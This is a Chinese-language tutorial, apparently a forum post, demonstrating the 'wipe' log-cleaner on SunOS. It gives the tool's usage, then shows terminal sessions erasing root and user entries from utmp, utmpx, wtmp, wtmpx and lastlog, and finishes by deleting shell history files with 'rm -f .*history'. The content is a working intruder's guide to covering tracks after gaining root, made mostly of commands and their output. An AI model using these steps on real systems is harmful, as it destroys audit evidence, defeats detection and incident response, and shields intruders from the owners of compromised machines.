-rw-r--r-- 1 root staff 10027 1997 1月 9 wipe.c
#./wipe
USAGE: wipe [ uwla ] ...options...
UTMP editing: Erase all usernames : wipe u [username]
Erase one username on tty: wipe u [username] [tty]
WTMP editing: Erase last entry for user : wipe w [username]
Erase last entry on tty : wipe w [username] [tty] LASTLOG
editing: Blank lastlog for user : wipe l [username] Alter lastlog
entry : wipe l [username] [tty] [time] [host]
Where [time] is in the format [YYMMddhhmm]
ACCT editing: Erase acct entries on tty : wipe a [username] [tty]
大家能看到编译好的wipe的使用方法.
其中 u 选项为 utmp utmpx 日志擦除..
w 选项为 wtmp wtmpx 日志擦除.
l 选项为 lastlog 日志擦除.
a 为/var/adm/pacct日志擦除.(一般不用这个.:)
其中[tty]为终端号.为在有多个相同帐号同时登陆时,清除日志的使用选项.当然是要你的终端号哦.:)
大家能用 w 命令查终端号.
比如:
# w
下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
root pts/1 下午 7:40
3 w
下面的是我在sunos 5.7上的具体的使用情况
# w
下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
rootpts/1 下午 7:40 3 w
# ./wipe u root
Patching /var/adm/utmp .... Done.
Patching /var/adm/utmpx .... Done.
# w
下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
# ./wipe w gao
Patching /var/adm/wtmp .... Done.
Patching /var/adm/wtmpx .... Done.
# ./wipe l root
Patching /var/adm/lastlog .... Done.
好了.
lastlog utmp utmpx wtmp wtmpx 擦完了.
当然我们不要忘了shell 记录.
# ls -al /.*history
-rw------- 1 root other 456 2月 4 20:27 .sh_history
# rm -f .*history
# cd
# pwd
/home/gao
# ls -al /.*history
-rw------- 1 root other 456 2月 4 20:27 .sh_history
# rm -f .*history
ok, 算是大功告成吧
您看到此篇文章时的感受是: